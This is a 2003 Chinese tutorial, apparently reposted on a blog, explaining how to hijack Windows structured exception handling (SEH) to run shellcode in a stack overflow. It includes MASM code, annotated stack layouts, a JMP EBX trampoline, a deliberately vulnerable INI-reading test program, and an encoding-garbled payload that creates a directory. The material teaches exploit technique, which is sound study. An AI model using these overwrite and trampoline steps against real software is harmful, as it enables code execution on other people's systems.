现在的位置: 首页 > 综合 > 正文

利用SEH执行shellcode

2013年10月13日 ⁄ 综合 ⁄ 共 5632字 ⁄ 字号 评论关闭
作者:czy <czy82@elong.com>
主页:http://www.nsfocus.com
日期:2003-08-06

利用SEH执行shellcode

                       czy 于 03.07.31
前言
    唉时间过得真快啊一眨眼就过了三天,还是继续吧.今天介绍SEH,其实这东东
我以前就用得实在不多,好不废话了大家首先要明白,如果要攻击一个有洞洞的程
序并利用程序中的SEH来执行我们的shellocde那么,这个程序本身要是利用了SEH
技术的.另外在VC中用
  __try{ 可能出错代码}__except(判断怎样处理出错的函数){处理出错的代码}
这种宏来搞的SEH,编绎器是做了专门处理的,简单的说在执行处理出错的代码之前
先执行了一个叫__except_handler3的函数.

一节:SEH的简单使用

    例子还是用汇编程序吧.
.386
.model flat,stdcall
option casemap:none

include        ../include/user32.inc
includelib    ../lib/user32.lib
include        ../include/kernel32.inc
includelib    ../lib/kernel32.lib

        .data
szCap     db "SEH TEST",0
szMsgOK db "OK,the exceptoin was handled by final handler!",0
szMsgERR1 db "It would never Get here!",0

        .code
_start:
          push         offset Final_Handler            ;把处理出错代码的函数地址压到栈中
          call        SetUnhandledExceptionFilter      ;看到了吧关键就是执行了这个API函数

        xor      ecx,ecx
        mov     eax,200  
        cdq
        div       ecx     ;0作分母出错了.
        invoke       MessageBox,0,addr szMsgERR1,addr szCap,30h+1000h 
        invoke       ExitProcess,0         

Final_Handler:
       invoke       MessageBox,0,addr szMsgOK,addr szCap,30h
       mov       eax,1;EXCEPTION_EXECUTE_HANDLER ;==1 这时不出现非法操作的讨厌对话框
        ;mov    eax,EXCEPTION_CONTINUE_SEARCH  ==0 出现,这时是调用系统默认的异常;处理过程,程序被终结了
        ;mov    eax,EXCEPTION_CONTINUE_EXECUTION ==-1 不断出现对话框,你将陷入死循环,可别怪我
              ret 4
end _start

上面的代码我只是想写给那些还没有用过SEH的朋友看的.让大家明白这玩意到底有什么用.

好了其实在实战中或是说攻击VC写的程序,人家是用了线程相关的SEH.先来看看这又是怎么设置的.

通常每个线程初始化准备好运行时fs指向一个TIB结构(注意如果用汇编就得自已写代码了也就是说TIB结构要
自已构造),这个结构的第一个元素fs:[0]指向一个_EXCEPTION_REGISTRATION结构
(也就是说它是TIB结构的第一个成员,我们只构造它就可以了)

    fs:[0]->
     _EXCEPTION_REGISTRATION struc
     prev dd ?                    ;前一个_EXCEPTION_REGISTRATION结构
     handler dd ?                 ;异常处理例程入口,现在明白该怎么作了吧:)
     _EXCEPTION_REGISTRATION ends

我们可以建立一个ERR结构然后将fs:[0]换成指向他的指针,当然最常用的是堆栈,
如果你非要用静态内存区也可以(可以吗?用了我溢出个P啊).
把handler域换成你的程序入口,就可以在发生异常时调用你的代码了,好马上实践一下!(唉没VC)

;整个儿代码贴出来太占地方了,我只把开头贴出来,其它的和上面的一代码一样.
_start:
   ASSUME FS:NOTHING        ;否则Masm编译报错
        push    offset perThread_Handler   ;异常处理例程入口
        push    fs:[0]                     ;保存老的TIB结构地址
        mov     fs:[0],esp            ;建立SEH的基本ERR结构!
    xor      ecx,ecx
    mov     eax,200 
.....
    pop     fs:[0]              ;清除seh链表
        add     esp,4
        invoke       ExitProcess,0       
....
........后面的除了在perThread_Handler返回是只用ret外都一样.

二节:通过SEH执行shellcode.
     好了在这一节我们进入正轨,看看那些坏人们的阴谋.
假设异常处理例程入口00401053,程序刚开始执行时esp是0012ffc4,以前的fs:[0]是0012ffe0
键立了TIB结构的第一个成员后堆栈的情况如下:

  内存低地址
 
| E0 |12ffbc(esp)
| FF |
| 12 |  --ERR结构的第一个成员
|_00_|
| 53 |12ffc0
| 10 |
| 40 |  --ERR结构的第二个成员
| 00 |

  内存高地址

  好了然后程序CALL一个函数,函数里面有一个局部变量并且在往其分配的空间中写入的数据时
产生溢出.这时堆栈如下

____
|    |12f000 局部变量分配的空间,并且向12ffc0方向溢出了.
|    |
....
....
|_EBP|12ffb4 函数中保存老的EBP
| xx |
| xx |
| xx |
|_EIP|12ffb8 call函数时EIP进栈
| xx |
| xx |
|_xx_|
| E0 |12ffbc(esp)   {当ESH起作用的时候EBX刚好指向这个地址(也可说总是指向当前ERR结构)}
| FF |
| 12 |  --ERR结构的第一个成员
|_00_|
| 53 |12ffc0
| 10 |
| 40 |  --ERR结构的第二个成员
|_00_|
|    |12ffc4
   继续看,假设溢出代码一直到了12ffc4,然后call的函数该返回了,因为保存的EIP被溢出代码代替
所以程序出错(不会不出错吧?),这样ESH开始起作用了(注:在这期间系统要执行一些操作,所以EBX才
会指向当前ERR).这样一来程序就会跳到12ffc0里的地址去执行!而12ffc0里的东东早已不是原来的
00401053了.这样我们不就改变了程序的流向了么.
   12ffc0中该写入什么内容呢?应是内存中JMP EBX的代码的地址.这样跳了3下后最终就会跳到12ffbc
去执行.这个四字节可是宝贵的啊:)现在假设JMP EBX这个指令在内存中的地址是0x77e33f4d
那下具体看一下现在堆栈的情况:

| EB |12ffbc(esp)   {当ESH起作用的时候EBX刚好指向这个地址(也可说总是指向当前ERR结构)}
| 06 |
| 90 |  --ERR结构的第一个成员,执行JMP EBX后就到这儿来执行了(EB 06是短跳转JMP 12FFC4的机器码)
|_90_|  后面的90是nop空指令的机器码.
| 4D |12ffc0
| 3F |
| E3 |  --ERR结构的第二个成员,出错处理函数的入口地址(现在成了JMP EBX的地址)
|_77_|
|    |12ffc4
....

  好现在来看看12ffc4里面有些什么代码.(简单的说这段代码的作用是计算真正的shellcode的起始地址
,然后跳过去执行.)

低地址

|    |12f000(shellcode开始地址)
....
....
| 81 |12ffc4
| C3 |  add ebx,FFFFF03Ch(ebx=12ffc4,指令长度6,作用计算计算shellcode地址)
| 3C |
| F0 |
| FF |
| FF |
| FF |12ffca jmp ebx
| D3 | 

高地址

  好了这样一个完整的利用SEH来执行我们SHELLCODE的过程就说完了.下面看我的测试程序.

三节:测试程序

    昨天遇到些小问题,今早上来把程序才调通哟,感谢TombKeeper哈.

-------------------------SEH.ASM------------------f
.386
.model flat,stdcall
option casemap:none

include        ../include/user32.inc
includelib    ../lib/user32.lib
include        ../include/kernel32.inc
includelib    ../lib/kernel32.lib

.data
hello        db '利用一个读INI文件的API来演示WIN2000本地溢出',0
lpFileName    db './seh.ini',0           
lpAppName    db 'iam',0
lpKeyName    db 'czy',0           
lpDefault    db 'ddd',0
szCap     db "SEH TEST",0
szMsgOK db "OK,the exceptoin was handled by final handler!",0
szMsgERR1 db "It would never Get here!",0

.code

testov    proc
    local   lpReturnedString[2224] : byte    ;返回的字串搞成本地变量这样就和C语言一样了,它是在栈中   
    invoke    GetPrivateProfileString,offset    lpAppName,offset lpKeyName,offset lpDefault,ADDR lpReturnedString,2249,offset lpFileName   
    invoke    MessageBox,0,addr lpReturnedString,addr lpReturnedString,1
    ret
testov    endp
   
start:
    ASSUME fs:NOTHING
    invoke  MessageBox,0,addr szMsgERR1,addr szCap,30h+1000h ;下断点   
    push    offset Final_Handler    ;压入正常的出错处理程序入口地址
    push    FS:[0]                  ;把前一个TIB的地址压入
    mov    fs:[0],esp
    call    testov   
    pop     fs:[0]                     ;还原FS:[0]    
   
Final_Handler:   ;由于溢出了下面的代码不会被执行.
       invoke       MessageBox,0,addr szMsgOK,addr szCap,30h
       invoke       ExitProcess,0
       mov       eax,1
       ret
end start

--------------------end-------------
------------------SEH.ini-----------
[iam]
czy=j ?? R鐷丛w瑗乖wc:/nsfocus

                                           悙悙悙悙悙悙悙悙悙悙    ?悙?遷侂?  
-----------------end-------------

这个程序和我的前一个测试本地溢出是一样的(成功后在C盘生成叫nsfocus的目录),就不多介绍了.
但是我在测试中遇到两个问题有必要提一下:
1:)如何更好的在内存中找JMP EBX的代码:
   前面我是说在softice中执行S 10:0 L FFFFFFFF FF D3就可以了,但实际上这样找到的
地址可能不能执行代码.所以用下面的方法:
   map32 kernel32(在当前进程中查找映射的kernel32 DLL的信息)  
一般有如下显示:
  Owner        Obj Name    Obj#    Address        Size     TYPE
kernel32    .text        0001    001b:77b61000    0005d1ae code RO
......
  然后
S 77b61000 L 5d1ae FF D3
如果显示如下说明找到了:
  Pattern Found at 0023:77e61674 ....

2)关于缓冲区的大小的问题:
  在上一个例子中(利用JMP ESP)我把它只设成了1,怎么说呢就是刚好能放下我的shellcode,
但是利用SEH的办法就不行了我试了试起码要设成1000个字节多,你的shellcode才不会被不知
哪来的数据覆盖!!同时感谢冷雨飘心他的《SEH  in ASM 研究》真的是不多见的介绍汇编中
使用SEH的文章。 

抱歉!评论已关闭.